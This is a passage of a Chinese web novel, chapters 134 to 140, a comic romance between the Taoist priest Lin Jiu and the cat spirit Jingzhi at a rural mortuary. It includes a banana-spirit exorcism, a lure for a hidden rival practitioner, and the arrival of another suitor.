她翻了个身,侧躺着面对他,然后拿毛绒绒的小猫脑袋,一下又一下,不断蹭着林九的脖颈,磨人得不行,声音也夹到了极致,“阿九~啾啾啾,到底是什么意思啊~” 林九放开她的爪子,快速收起药水,他被她逼到连呼吸都粗重了几分。 林九深吸一口气,看着漆黑的房顶,试图想一想僵尸丑陋的面孔压一压突然升起的情潮。 好在,很有用。 躁动的血液一下就冷却了。 “今晚修炼吗?”他冷面无情问道,“不修炼就回你房间去。” “……你这样,我要伤心了哦~” 林九:要不是你的爪子在我耳垂上蹬来蹬去,我也许就信了…… 静之泄气,最终,为了不被赶出去,她还是乖乖修炼了…… …… 第二天。 秋生偷偷摸摸的躲在柱子后面,看着林九正晨练的背影,他怼了怼旁边的人说: “喂,文才,师父耳垂上的那两个小结痂,是被咬的吧,哇,真是战况激烈,都破皮了!” 文才一脸羡慕,手指成爪不停的挠着木头柱子,他小声嘀咕:“如果婷婷肯咬我一口也好。” 话刚说完,他的后脑勺就中了一掌,“想屁吃,我可告诉你啊,我们公平竞争!” 文才暗戳戳白了他一眼,“你不是喜欢小玉吗?跟我抢什么?” 秋生一噎,人鬼殊途,他跟小玉,这辈子是不可能的了,有场露水情缘,已经算他走运了。 文才这时怼了怼他,“喂,师兄,你有没有觉得师父越来越香了?” 秋生心不在焉的嗯了一声,懒懒的答道: “天天用静之送的香皂,能不香吗,都快腌入味儿了。” 正当他心情低落的时候,静之突然从他后头拍了一下他的肩膀,“喂,大哥,把僵尸语录借我看看呗,看完就还你!” 秋生肩膀一矮,然后轻轻柔柔的揉着他的肩胛骨,“你的手劲儿真重。” 他一扬下巴,“呦,还知道学习啦?” 静之环着胸,看了看远处动作变慢了的林九,又转回头看向秋生,她摸了摸下巴,不怀好意勾起嘴角,“不借的话,我跟阿九说你还在想女人!还和文才一起想!” 秋生还没慌,文才倒是先急了,他扯了扯秋生的袖子,“师兄,你就借她吧,我不想被师父骂,反正她会还你的。” 秋生倒是不急,他朝静之搓了搓手指,嘴边一抹坏笑,勾得比静之还专业。 “要借啊?一天10文钱,三天25文,整本买断1个大洋!” “我靠,你怎么不去抢!”看见林九停止动作看过来,她赶紧压低声音,快速说道:“给给给,先借一天看看!” 边说着,她从荷包里数出10个铜板交给他,秋生抖了抖手心的铜板,笑得像偷到油的老鼠一样,“借你喽,就在师父书房里,你自己去看!” 静之一整个愣住了,过了好一会儿,她才反应过来,她指着秋生的食指抖得不成样子,“你,你,那本书是阿九的?” 秋生嘻哈笑着,拔腿就跑,“哈哈哈,我也是找师父借的,你要看,自己去看就得啦!” 静之被耍了一通,气急败坏,撩起裙摆就追: “臭小子!你还我钱!!!!!” 第135章 主动进攻也是防守 林九说僵尸没有人性,倒是真的。 秋生和文才一早就要给停尸房里放着的棺材上香,刚一打开门,就被里头的小僵尸吓一跳。 好在,秋生身手好,一大一小过没两招(文才那两下子完全可以忽略),小僵尸便被秋生用符纸定在原地,好一通戏弄。 然而,小僵尸是个记仇的小僵尸,并把“欺软怕硬”这四个字贯彻得死死的。 基于林九的威慑,他对秋生和文才倒是没有下死手,不过大半天了,但凡他俩进去一趟停尸房,必定会被小僵尸整治一番。 这两人被林九拘了两天,早就坐不住了,恨不得搞点事情来。 一看到有小僵尸这么好玩的尸在,前所未有的新奇感一上头,哪里还怕被他整,不到半天的功夫,便与它打成一片,玩闹得不亦乐乎。 尤其值得一提的是,秋生还能听懂僵尸语言,还时不时能模仿两句。 他整个上午都在与小僵尸“啾啾啾”地交流个不停,这番情景让一旁的静之看得目瞪口呆,给她好奇得抓心挠肝。 可她到林九翻箱倒柜,找半天那本书,就是找不到。 “阿九,你放哪儿了?” 静之踩着小梯子,爬到靠墙书柜的最上层,时不时抽出一本翻看着。 “就在书架上……你再找找。”林九含糊应了一声,头也没回,拿着算盘对着这个月的账。 撇去他们出行的这几天和婷婷家的那档子事儿,前半个月来找林九看风水的人还是有几个的,看风水的收入占大头。 林九坐镇任家镇的义庄这么多年,看一次风水10个大洋,从未涨过价。 但正常人家也就乔迁新居,或者看坟定穴,又或者是翻建祠堂,这种大事才会来找林九。 毕竟,10块大洋说多不算多,说少也不算少。 所以,这上半个月,他们也就出了三趟活,也就是得了31大洋,这多出的一块大洋,还是黄老板给的“小费”。 除此之外,纸钱买卖,看管尸体,收鬼寻魂,甚至有几个头疼脑热来找林九看病的,这些零零碎碎的收入加起来,也有好几块大洋。 这几天嘛,因为镇上闹僵尸的事儿,一时人心惶惶,出行的人都少了,义庄一下子也安静下来,几乎没什么进项。 扣去日常开销,他们这个月的收入,几乎比以前少了三分之一。 然而,就现在这种情况,除了主动上门来找他的,并且不用出远门的,他倒是不方便出去接活了,这可怎么办才好? 一直响着的算盘声突然停了,找书的静之还真有些不习惯。 她把住梯子两侧,微微后仰身子,从两排书柜中间的缝隙去瞧林九。 就看到他抬着头,眼神有些失了焦距,定定地看着虚空,不知道在想什么。 实在找不到那本书,她退而求其次,随便抽了本山野日志出来。 人都坐进林九怀里了,林九这才回过神,他下意识扶住她的肩头,问:“怎么了?” 静之侧坐在他腿上,卷起书轻轻抵着他的胸膛反问: “我才想问你怎么了呢?” 她伸长了脖子轻轻一啄他的眉心,“别皱眉,每次你一皱眉,我这心里也跟着难受。” 林九还是有些“大男子主义”的,这等“养家糊口”的事儿,他不想让静之操心,于是便摇了摇头,“没什么。” “我还不知道你?”账本被他一手掩住了,她也没强求。 静之拿起桌上他做草稿的纸瞄了几眼,“你缺钱了?” “不是。”林九想,缺钱倒也不至于,他还是有些家底的,但也不能就这样下去。 “我那还有点,要不要我……” “不用。”他极速拒绝。 她的钱是她自己赚的,那就该她自己花,他一个有手有脚的大男人拿她钱,算怎么个事儿。 “我知道的,自从咱们回来后,来义庄的人都少了。”她轻轻靠在他怀里,随意翻看了几眼书本,边说着: “你说,咱们就这么坐等敌人上门吗?不主动出击?攻击,有时候也是防守的一种啊!” 林九微微一愣,原来除了他喜欢的甜言蜜语,她的嘴里居然还能吐出这么有道理的话? 倒真是让他有些刮目相看了。 “这次的对手手段极多,远不是你们可以应付的,而且实力未知,冒然进攻,我……” 话还没说完,便被静之突然打断,“谁说是冒然进攻的,咱们想想办法嘛。”静之书本往桌上一丢,转身正对着他,一本正经说: “你不是说那个人道行高深,这样的话,极有可能是咱们的同行了,那么,若有雇主发布邀请,肯定会有许多你的同行上门报价的不是,到时候,咱们一起去,然后偷偷观察,看看是哪个狗东……坏人在作怪!” 林九也不是没想过这招,但是现在哪里有什么雇主。 三天了,他就接了一点小活,收到了两筐鸡蛋,就这点芝麻大小的利,他的同行们看都看不上。 “才刚说完呢,你又皱眉了,愁雇主的事儿?” 林九老实点头,这几天来的人她也看在眼里,没必要瞒着她。 静之虚着眼神,陷入了沉思。 过了好一会儿,她的眉心被抵上一根食指,并轻轻抚着,“还说我呢,你也是,本不应该告诉你的。” 她跟着他就没过过几天好日子,这会儿还让她忧心,林九心头顿时涌上一阵自责。 突然,那根食指被轻轻握在她手心里,静之的双眼因想到主意而亮晶晶的。 “阿九,找婷婷帮忙呀!秋生说,自从你给她爷爷找了个好墓地,她家生意又好起来了,正要寻个好位置开绸缎庄呢!” “按照咱们的交情,我想她不日就会来找你,但是这回咱们不直接接单,我们叫她帮忙放出消息……” 她打量了一下林九的脸色,这才小心翼翼地说:“接下来我说的话,你别生气哦,就是一个计而已。” 他轻抚了两下她的头发,柔柔地看着她,“我是这么小气的人吗?” “……” 她嘴巴没说,但是眼神说了。 给林九气笑了。 “……呵,我不生气,你说吧。” 啧,这不就气上了嘛。 但是,话说一半,不是她的性格。 “那什么……我是想说,你在任家镇名望大,婷婷她家在任家镇也是出了名的富豪乡绅,她不直接找你,反而广发英雄帖,此举肯定会让那个幕后之人暗爽……既然他恨你,到时候,他肯定会跳出来看你的笑话的……” 静之越说越小声,因为林九脸上的笑容渐渐消失了。 静之喉咙一阵发干,她忍不住咕咚一声,咽了口唾沫,然后死死搂住他的腰,“我刚刚说了的,不准生气!我就是说说嘛。” “也不准打我!”她快速补充道。 “我什么时候打过你?”爱她还来不及,这几天更是极力压抑自己,连多碰她一下都不敢,更别说打了。 “刚见面的时候。” 林九:“………” “算了,你就说这个方法行不行?” “行。”她的脑筋有时候不得不令他佩服。 一被认同,她尾巴都快扬到天上去了。 还没嘚瑟几秒,她又突然皱起眉头,“但是这样,会不会影响你在乡亲们心里的形象,从而影响到义庄的日常生意?” 林九笑了,他安抚的拍了拍她的肩膀,“不会,有些谨慎的人,同时叫好几个道士一起上门的情况,也是有的。” “那就好,那我写信跟她说?” 林九将她提了起来,“嗯,你坐这儿写。” 他刚想站起来把位置让给她,突然大腿就被摁住了。 静之快速坐回他腿上,“就这样写。” 瞧他一脸不赞同的样子,静之吭哧两声,硬是掰了借口: “嗯,那个,椅子硬,坐得我尾椎痛!” 林九:昨天不是说她好了吗? 林九没有拒绝,只是给她拿了张信纸,用镇纸压好,这才往后仰着身子,稍稍离她远一些,靠在椅背上坐着。 发乎于情,止乎于礼。 越是喜欢她一分,他就越没有办法对她做出随意的举动。 静之一个钟爱打直球的选手,完全不能理解他这种弯弯绕绕的思想。 此刻的她,嘴角都快扬到天上去了。 心道真是太不容易了! 自从他们从四目那儿回来,他俩的肢体接触就少得可怜,这还是加上每天晚上她变回原形,被他撸毛的那一小段时间。 抱抱都少,更别说亲亲了…… 第136章 拉拉扯扯 不过,抓到坏人=他们婚事将近=想怎么贴贴就怎么贴贴! 一想到这个等式,静之双眼亮得都要发绿光了。 她立马压下蠢蠢欲动的心,拿起他搁在一旁的毛笔开始奋笔疾书。 一时间,静谧的氛围萦绕整间书房。 静之写得认真,原本乖乖掖在她耳后,半长不短的一绺刘海渐渐滑落下来。 林九不自觉的挑起那缕发丝,重新掖到她耳朵后边儿,那只手,稍稍停顿了两秒,才渐渐收回。 他很少见她这般认真的做一件事。 微微抿住的红唇,小巧精致的鼻头,因向下看而下垂的眼睫,浓密还带着微微上翘的弧度。 林九起初是被她的态度打动,后来…… 心脏不受控制的,快速跳了起来。 自从遇到她,好像这辈子的欢喜一下都迸发出来了。 此时的林九甚至在想,她刚来的时候,也是长得这般好看的吗? 每一处,好像都长到了他心坎上。 ……这么盯着她,好像不太好。 林九有些懊恼,又舍不得挪开眼。 静之的耳朵微微动了动,他的心跳声,也太大了吧。 她眼眸微闪,声音毫无波澜,依旧清脆悦耳,仿佛随口这么一说: “阿九,我脸上好像沾到墨了,帮我擦一下。” 边说着,她把头往下埋了埋,在林九看来,她十分专注于写信。 “……在哪边?”她头一低,原本就离她有些远的林九,这回彻底看不到她的脸了。 他微微前倾身体,让她的侧脸又进入他的视线,微微打量了一下,他疑惑道:“哪个位置?” 她用笔杆子点点另一侧,“左边。” 在林九挪动身体看向另一侧时,她不安分的手指头极速往右边脸上点了一下。 “没有。”他说。 她哦了一声,“不是左边,那就是右边咯,你再帮我看看?” 林九:“……” 她是不是在耍他? 身后的人久久没了动静,静之嘴角微微勾起,她趁着转过身子的时候,把屁股朝后面挪了挪,身子朝他贴近,倒打一耙说: “一定是你刚刚眼花了,肯定有。” 林九这会儿终于看到她右脸上的墨点了,不过他依旧没有动作,并且整个人有僵化的趋势。 “你,你别贴这么近,往外坐一点。” 林九心脏实在跳得太厉害。 再加上她坐的位置太过…暧昧。 林九这回也不敢再盯着她看了,匆匆瞥一眼她右脸就赶紧挪开视线,双手不由自主紧紧捏住太师椅的扶手: “……自己擦。” 突然,两只沾上点点墨汁,却显得底色更加白嫩的双手,突然举到他面前。 她眼睛微微睁大了些,显得越发无辜,“手脏了,你帮我一下嘛,不然我只能用袖子擦了。” 边说着,她抬起胳膊,作势要用她身上的白色衣服擦脸。 作为洁癖症加强迫症双重患者的林九,绝不允许这种事情发生。 他轻轻将她的胳膊按下,又将她的袖子挽到手弯处,以防沾到那两只小脏手,这才无奈说道: “抬头。” 话音刚落,静之两手悬停在胸前,微微扬起下巴,把右脸伸给他,两只形状完美的眼睛直勾勾盯着他的双眼。 红唇微启,声音里带着诱惑,“好了。” 什么好了? 他看她就是在耍他。 林九的心不由颤了颤。 右手轻抬,温热的手指揉去她脸上墨点时,她的睫毛不受控的微微颤抖了两下。 浓密的睫毛投下的阴影,让她浅褐色的瞳孔颜色更深了几许,偏偏她的眼睛极为清亮剔透,像是被水洗过了一般,林九可以从她眼里清晰看到自己的倒影。 正面看,她好像更好看了,林九想。 不对,那眼里的小小的他,好像越来越大了。 直到她轻轻柔柔的气息打在他的脸上,林九这才反应过来她的意图。 他给她擦墨点的手还停留在她脸上。 林九另一手干脆一起把住她的左脸,把她的头往后掰,“写完了?” 林九又懊恼上了,他的指尖尽是她柔嫩的脸颊,但是他却舍不得放手一点,他甚至,还想亲亲她的脸颊,眼睛,鼻子,他还想做些更过分的事——亲亲她的小嘴。 但这,实非…君子所为。 静之比他更懊恼,甚至开始扼腕。 这都迷不倒?! 难道是她最近变丑了? 这要换成二娣,两人早就滚到床上去了。 林九这四十几年,可真不是白活的,定力那叫一个强。 “写好了。”她的语气有些落寞。 林九狠狠心闭上眼,“那就下去,自己坐好。” “……哼!你可别后悔。” 她身子一转,从他腿上下去,坐到旁边的椅子上,指甲轻点信纸,“你看看这样写行不行?” 腿上骤然失去重量,与她相触的位置渐渐失去了温度,林九不出所料的后悔了。 但是板了四十多年的脸硬是绷得紧紧的。 静之也就只能在他微微暗下的眼眸里观到一点他的情绪。 她暗自感叹:这辈子的阿九可太难勾搭了…… 此时的她还不知道,晚上发生的一件事,会让她直接断了勾搭的念头…… 林九垂眸看了桌上摊平的信纸一眼。 还未阅读内容,光看那工整流畅,颇具风骨的字,他就有些讶异。 没想到,她还挺内秀的嘛,字也写得挺好的,林九不由多观察了两眼,结果这一瞧,就让他瞧出问题来了。 这字体,怎么这般……眼熟? “阿九?看完了吗?” 见他眼神定定的看着信纸不说话,静之忍不住催促,殊不知她的马甲都快被扒光了。 “你跟谁学的字?”他问。 “……” 静之心里一个咯噔,她眼珠子左闪右挪,一张巧嘴张了半天,这才心虚的说: “我,我跟着字帖练的。” “是吗?”林九不动声色的观察她的表情,又疑惑问道:“我怎么看,都觉得这字看着很是熟悉,在树林里,你我不是第一次见?” “哈?” 林九不知道自己脑补了什么,耳朵越来越红,“在我见到你之前……你看我许久了?” 林九刚刚平复的一颗心又开始跳得剧烈。 原来,她竟是默默喜欢他,喜欢了那么久吗?也难怪了,他就觉得她的爱来得太突然…… 他这话都给静之说傻眼了。 原来心眼多的人,有时候也不是坏事儿啊,瞧阿九这样,想得多,都把自己自我攻略了。 “啊,对对对!” “我很早很早之前就见过你了,但是怕你不喜欢我,所以我就一直躲着不敢出来见你!”于是她顺着他的话说了下去,给林九说得心花怒放。 “静之……”他低声喃喃,再也按耐不住心中的激动,握住她的手腕,一把将她扯回怀里,他含情脉脉地看着她,眼里尽是藏不住的欢喜跟爱恋,“我……可以亲你吗?” 静之:还,还有这种好事?!!! 但是,她好心虚啊!!! 娘嘞!好想要,但是她的良心在疯狂摇头,以至于带动她现实中的脑袋,也摇了两下。 “?” 他不是会强迫她的人,见她不愿意,他欲抬她下巴的手僵在空中。 她闭了闭眼,赶紧听从良心的呼唤,从他怀里挣脱开。 “下,下次一定!” “可是我……” 他眼巴巴地看着她,索吻的话又卡在嘴边,被薄薄的脸皮死死绷住了。 “你帮我找个信封寄出去,我……我去找书!” 话还没说完,她快要顶不住他那小狗一般委屈的眼神,死死咬着牙,又溜回一排排的书架里。 第137章 修行不易,静之妥协 按理说,任家镇离义庄不远,信中午已送出去,婷婷不出两个时辰就可以收到。 然而天现在都黑了,回信还未等来,义庄就先来了一个不速之客。 “九叔!九叔在吗?救救我弟弟吧!” 秋生听到声音刚上前打开门栓,外头就冲进来一干瘦的男子。 他急得很,推门力气大了些,差点给秋生一把扇到墙上。 “得亏我反应快!少根筋,你慌什么?” 秋生从门后走出来,把住不断晃动的左扇门板撇了撇嘴,不是很开心。 他脑子里有其他事儿。 刚刚小僵尸居然诓他说被月光晒到了,吓得他给它捏了半天脚?! 啧,大爷的,他要报复!! 正当他从门后的扫把上抽出一根细竹条的时候,少根筋没空理他,他紧握双拳直直冲向正厅,一路狂喊着九叔,边喊边一间一间找人。 “阿九,好像有人叫你诶。” 林九早就从摇椅上坐起来了,“我听到了。” 刚想站起来,身侧的她静悄悄的,多半句话都无。 “你不一起?”他转头问,看她还在看书,他不由皱眉。 看了一整个下午了,还没看够? 经过中午那一通脑补,想明白她的爱意由来后,林九靠近她的动作越发自然,做什么事都想她陪着一起。 被他黏了一下午的静之都有些习惯了,所以他这么问,她倒不是很意外。 只是随意摇了摇手,头依旧埋进书里“你去呗,他好像很急的样子。” 静之微微舔湿手指,扣着卷起来的书页一角又翻了一面儿,眼睛完全离不开这本快被秋生翻烂的僵尸语录。 她终于知道秋生为什么爱看这本书了。 第138章 他又帅了 静之心里藏着事儿,一直柔和浅笑着的脸此时严肃到不行,林九以为她害怕了,于是伸出手搭在她肩上轻轻拍了拍。 还没拍两下,静之轻轻打了一下他的手,身子往旁边草丛里挪了挪,压低声音说: “……你都不早说,我也不是非要……反正,现在不是干这种事儿的时候!” 林九皱眉,她在说什么? 不过,现在确实不能掉以轻心,林九收回心神,全神贯注地看着不远处那对燃烧着的龙凤烛。 文才虽长得老气,好歹也摸到了一点修道的门槛,实力又菜,这样的人,可是精怪们的最爱。 吃了补身体,又不怕会被他打伤。 所以,没过一会儿,芭蕉林里就有了异动。 所有的芭蕉叶无风自动,唰唰作响,林九暂时分不清哪棵树是芭蕉精的本体,于是耐着性子,又伏低了一点身子,趴在草丛里。 就在这时,月光下那悬在半空中的红绳仿佛被无形的重物压到,往下凹了一段,这一段速度极快,直直滑向屋内。 不过两秒,从敞开的窗户外头,林九跟静之可以清楚的看到,有一穿着暴露的红衣女子悬浮在文才上方。 果然,长相美艳,身姿丰盈,一双长腿挑逗性十足的勾了勾。 这副样子,彻底给没见过世面的文才看傻眼了,还未等他向床底的秋生发出信号,他整个人便被红绸卷住腰部往上拉。 不过几秒,他就被芭蕉精捆得跟个木乃伊似的,徒留一小撮头发和两只小腿在外面。 静之暗自啧舌,这是芭蕉精啊,还是蜘蛛精啊? “还不去救他?”她用气声对林九说。 林九指了指床底的秋生,用口型说了句“铜镜。” 世上万物久炼成精者,都有本事假托人形以迷惑人,“惟不能易镜中真形”,它们一看见铜镜,也就暴露了自己的本来面目,见迷惑不到人,他们会自行窜逃,到时候,他再出手,也就不会伤到他两个徒弟了。 果然,当悬在空中的文才蹬掉一只鞋下来时,秋生眼疾手快推出去一个铜镜,那芭蕉精面朝下,一个猝不及防,直接原形毕露,露出她赖赖巴巴的一张脸。 仿佛接受无能,芭蕉精捂着嘴叫得凄厉,然后化作一道红光,从窗户疾逃回芭蕉林。 她万万想不到,芭蕉林不远处还藏着一个大佬。 林九着急回义庄,直接拔出了他的金钱剑,那剑自动追踪阴气,芭蕉精四处逃窜了一会儿,便被一剑穿心,斩于树下。 静之还没来得及爬起来,林九已经打完收工了。 林九伸出手,“走吧,夜里凉,别趴这里太久。” 静之搭住他的手站起,然后无比自然的放开他,拍着身上的草屑。 林九右手一顿,依旧固执的悬在那儿,虚虚张着,仿佛在等什么。 静之不想伤害他,假意拍半天衣服,拍得衣服都快起球了,他的手依旧伸在那儿。 ……算了,牵个手不会怎么样的吧。 于是,那只手终于迎来了它的爱人,先是紧紧握住,林九等了许久,一颗心七上八下,干脆手心一转,将五指插入她的指缝,紧紧交缠。 静之的手指一下绷得笔直,但见他一脸疑惑,眼里又带上几分委屈,她轻轻叹了口气,终是回握上去,将指尖轻轻搭在他的手背。 林九如释重负,声音变得柔和,“走吧。” “……嗯。”她有些心不在焉。 …… 回到义庄后,二人前后脚洗了个澡,等林九回房,却见不到静之。 一想起她刚刚的异常,林九放下一路的心瞬间又提了起来,“静之?” 说话间,他抬脚就要出门寻人。 这时,身后突然传来她软细的声音,“在呢,不睡觉你要去哪里?” 林九回头一看,床上从被子里钻出来的那只猫儿,不是她又是谁? 奇怪,以往她变身都要他三催四请的,今天怎么这般自觉? 不是,那他…… 唉,……算了。 林九没想到,这一算,就算了好几天。 静之开始对他若即若离,两人除了牵牵手,连个拥抱都没有,实在是太反常了。 唯一不变的是,她依旧在看书,不过换成了他写的清心咒。 明明不过一页纸,她就能拿着它来回看了三天。 …… 抓完芭蕉精的第二天,婷婷就回信了,说她正清理门户,又顺便到乡下的各个庄子巡查,得一个礼拜以后才能回任家镇。 不过,邀请帖她说她已经发出去了,现在就等七天后,他们入镇,也等那个神秘人入局,就可以了。 事情有了着落,秋生和文才开心得很,每日练完功,就和小僵尸玩得开心。 倒是林九,脸色一天比一天阴沉。 这天,静之又被他堵在停尸房。 静之手里捏着一大把香,以防烫到他,她把香举高,从他右边绕到后头的棺材堆里去,一一给这群兄弟“喂饭”。 “静之……”他欲言又止。 “又怎么了?”这些天为了避开他,她跟秋生文才抢活干。 不过,是她单方面的抢,秋生文才乐得自在。 因为林九对她的吸引力,不是一般的大。 与他太过接近的话,她总是忍不住想与他贴贴,既然他不能做那种事,那么与他太过亲近的话,就会变成彼此之间的折磨。 她要求不高,只要林九这辈子平平安安的就好。 她可以忍得住的,真的。 她是这么催眠自己的。 静之上完香,闭上眼,开始给自己洗脑。 阿九一点都不香,真的。 我一点都不想亲他,真的。 可以不抱他的,我可以的!! 手好看又怎么样,我一点都不想牵!!! 洗到一半,她突然捂住自己心口。 啊,良心好痛! “你怎么了?身体不舒服?”他掰着她的肩膀令其转过身,然后牵起她的手翻过来,两指就搭上了她的脉搏。 静之的视线首先落在他焦急的脸上。 这几天,她都不敢多看他一眼。生怕自己忍不住,坏了他的道行。 这老头,哦,现在不能叫人家老头了,他的头发已经几近全黑,连脸上的皱纹都少了几条,看上去年轻了好几岁。 静之的心跳不由自主地加快,再加快,然后一阵兵荒马乱。 靠!不能看! 他又帅了! 她赶紧低头,视线之内突然又闯入一只骨节分明的大手。 可能是身体杂质去除了不少,林九经脉愈发畅通,血气十足,连他的指甲盖此时都泛起一层淡淡的粉色,配上他修长的手指,有一种说不出道不明的诱惑…… 夭寿了,连手的好看程度也更上一层楼了! 不行不行不行!! 不能看!!! 抬头不行,低头不行,她索性别过脸去。 刚别过去一秒,头又被把着转了回来,对上他那双微微睁大着的,满含情意和委屈的眼睛。 可能是因为在她身边睡得香,林九眼里以往因操劳产生的血丝,现在一根都没得了。 他的瞳孔是如墨般的黑,看人的时候,一专注就显得过分深情。 被这双黑白分明的眼睛紧紧盯着,静之忍不住心弦一动,被压抑了好几天的情感突然一股脑儿席卷上心头。 脑子里却又突然想起秋生的那番话,她狠狠心将他一把推开。 差一点,就差那么一点点,她就要破功了! 见到他受伤的神色,她紧闭双眼,狠下心肠说: “那什么,你说过的,男女授受不亲,我们还是保持距离的好。” “…………?……” 第139章 静之,是我! 她说的是什么胡话,他刚彻底明白她的心意,她就要推开他了吗? 林九绷着脸,两手一撑将她困在棺材边。 也不知道是不是周边燃着的香沾染上他的袖口,静之觉得他今天格外的好闻。 精神恍惚一瞬,刚吸半口气,她立马就屏住呼吸。 这人,怎么这么勾人,连他身上的味道她都喜欢得紧。 静之心里暗暗叫苦,她可没林九这么好的定力,这几天他忙完自己的活,还净找机会跟她贴贴,她实在是快绷不住了! “你答应过我的。” 他看着她躲闪的眼神,突然挑高她的下巴,目光灼灼,盯着她红润的唇瓣。 她不敢与之对视,目光微微下移,落在他的鼻梁上。 算了,鼻子也好看,还挺。 再往下,是愈发红润的双唇。 静之: ……让我死,让我死!!! “我说过什么了?”她的脸上浮现出淡淡的死志。 看得到吃不到,憋死她算了,内分泌都快失调了…… 林九轻捧住她的脸,意有所指的摩挲两下她的下唇。 他有时候甚至在想,要不直接亲上去算了,她最近不知道为什么,拒绝得愈发厉害,他实在摸不清她的态度。 但是,他不想强迫她,只是心里越发委屈。 她……是不是不喜欢他了? “你是没说过……”但是那天,她明明张嘴了,这不算同意的话,又算什么? 林九将额头与她相抵,嘴巴紧抿着,眼里发出无声的控诉。 “别用这种眼神看我。”静之侧过脸,右手穿过他的腋下,把住他的后脖颈微微下压—— 一把将他的头摁向自己颈侧。 好险!差点摁歪了。 话说,他刚刚是不是偷偷侧了下头? …… 静之屏住的那口气终于缓缓吐了出去,她轻轻抚着他僵硬梗直的后脖颈,另一手搭到他肩膀上安抚似的拍了拍,“阿九,我不想伤害你,大家都忍一忍。” 很快的,一辈子一眨眼就过去了。 林九一噎,后脖颈微微用力,想后仰一下脖子问清楚,静之一个使力,又给他摁了回去。 他双臂从棺材上放下,朝后交叉,紧紧箍住她的细腰,眼尾开始渐渐发红。 他想,就算是她真的喜欢上别人了,他也不可能放她走! 她可真狠心,把他的心刚夺走,就一把将他推开了。 林九轻轻阖上眼皮,却是突然张嘴,用了些力道,一口咬住她的肩膀。 静之浑身一震,连拍着他肩膀的手都停了一瞬。 片刻后,她无声的笑了,又忧愁得叹了口气。 一点都不痛呢,连皮都没破。 她都这样对他了,他还是不舍得太用力咬她。 唉,为什么他就不能是个普通人呢,造化弄人,她恨秋生!!! “啾啾啾。” 两人气氛有些凝重,义庄头号狗腿子又来了。 他踮着脚尖,一手拿着林九的烟杆子朝他嘴里塞,一手拿着火柴要给他点火。 “小雨啊,他不能抽烟。” 虽然她想死,但是她要他寿终正寝。 静之微用了些力道挣脱他的怀抱,又轻轻拍两下他彻底僵住的手,这才从他嘴里拔出那柄暗金色的烟杆子。 指尖轻转,烟嘴朝内。 她贝齿轻启,轻轻咬住烟嘴,“点火啊,什么眼神,你娘我今天想抽点烟怎么了?” 小僵尸抬头看了看眼神突然明灭不断,闪烁个不停的林九。 啧,情绪太复杂,他看不懂。 手上却乖乖划拉一下火柴,点燃烟斗里的烟草。 林九欲言又止,这烟草的味道,可是有些浓烈,她一只小猫能受得了吗? 而且,那烟嘴,他刚刚叼过的,既然她不嫌弃,是不是证明……她还喜欢他? 林九又喜又忧,一时竟不敢阻止她抽烟的举动,就这么愣愣的看着她脸颊肉微微一缩,吸了一口。 果然,她一点都不习惯。 静之吐出嘴里的烟,爆发出一阵猛烈的咳嗽,林九下意识伸手给她拍了拍背,“不会抽就别抽了。” 他抽出她手中那把烟杆子递给小僵尸,“我也不抽。” 静之抚着胸口愣愣地看着他,他好像真的很久没抽了。 既然烟不能抽,她又想喝酒了。 可真是愁死她了。 另外一头。 林九心里有些激动。 她肯看他了! 他脚步不由向前挪了半步,眼角余光却突然看到什么。 他咬着牙一把夺过小僵尸手上的烟杆子,“谁准你抽烟了!” 说话间,耳边突然传来她悦耳的轻笑声,林九回头一看,似乎是因为他幼稚的吃醋举动,她此刻的眼睛亮晶晶的,脸颊边甚至都笑出了浅浅的酒窝。 林九眸光微微闪动,他把烟杆子放到左手拿着,右手一把捂住小僵尸的眼睛,然后趁她惊讶的时候,迅速啄了一口她嘴角的小梨涡。 柔软触感碰到她脸颊肉的那一瞬间,静之的理智之弦差点绷断,她捂着脸颊下意识后退,却忘了这是狭窄的停尸间。 不出意外的,她哐的一声撞到了她身后另一个棺材,好险没有把里头躺着的兄弟一把掀翻在地。 “啾啾?” 小僵尸非常疑惑,但没人理他。 昏暗的室内,两人相隔不到一米,两双眼睛皆紧紧盯着对方,眼里浓如蜜的情意和呼之欲出的渴望一点儿也不比对方少。 对视的眼神仿佛都能拉出丝来,气氛愈发的暧昧,小僵尸偷偷拨下林九的手看了一眼。 哦~这眼光他熟悉,他饿了的时候,就是这个眼神! 难道爹娘也饿了? 那不去吃饭,杵在这儿干什么? 就在这时,窗外突然传来文才的叫声。 “静之姐,有人来找你!” 她如同从一场迤逦的梦中惊醒,有些狼狈的挪开眼神,并应了一声。 “谁找我?” 来义庄,不是应该找阿九的吗? 窗外的声音停了几秒,复又响起,却不是文才的声音,而是一个让他俩都意想不到的人的声音。 “静之,是我。” 声线温油又熟悉,是个年轻人的声音。 唤她的名字时,她莫名的听出了几分亲昵感。 林九耳朵又没聋,他也听见了。 静之看着林九突然变幻的脸色,想死的心又涌了上来。 怎么会是他? 他来干什么?这里可没有病人! 而且叫这么亲切干什么?他们可只见过两次面! 第140章 林九vs仲尧 “阿九,老规矩,把他定住。”她指了指还在那儿举高高自己的小番茄,啾啾啾的小僵尸,“谢谢,我不饿,你自己等会留着吃吧。” 一天就俩番茄,难为它还能从牙缝里挤出一个给她。 静之有些感动,但不多。 因为她有时候午睡,它会站在她旁边看着她的脖子流口水,跟她的脖子是麻辣鸭脖似的。 林九缓了好几秒,才不紧不慢走到祭坛前,拿起一张符纸走过来。 小僵尸眼力见十段,知道有人来,他一整个倒车入库,把自己停进爱巢——他的小棺材里,然后躺平,两手揣着他今日份的口粮放于腹前,一副要和两个番茄一起安详入睡的样子。 “你真自觉,不像某人。” 林九拿符定住它以后,还把手伸进去拍了拍它的小脑袋。 静之不满地小声嘀咕,“我修炼也可自觉了,时间一到我就变身,都不用你催。” 林九耳朵微动,他要的是这种自觉吗? 好吧,他以前要的确实是这种自觉,不过人都是会变的,他林九也不能免俗。 …… 秋生和文才扒着门,头叠着头,露出四双眼睛朝里看。 “师兄,怎么都不说话?” “我哪知道!” 林九坐在客厅主位,面朝大门,早就发现了那两个兔崽子。 “秋生,还不看茶?” “哦!”他应了一声,又敲敲在他底下的脑袋,“诶,你去!” 文才向上看,“为什么又是我?师父是在叫你。” 秋生眼睛紧紧盯着里面气氛诡异的三人,手向下拍了拍文才的脸,“哎呀,乖,师兄疼你啊,就这次,下次你去镇上,师兄请你吃烧鸡啊!” 文才把头缩回去,捂着脸逼逼赖赖,“你跟我一样穷,哪里有钱买什么烧鸡。” “去不去!”秋生朝后扬拳头。 看着竖到自己鼻尖的拳头,文才怒从心起,一掌拍下,“去就去,老是欺负我,要不是师父这两天不开心,我早就跟他说了。” …… 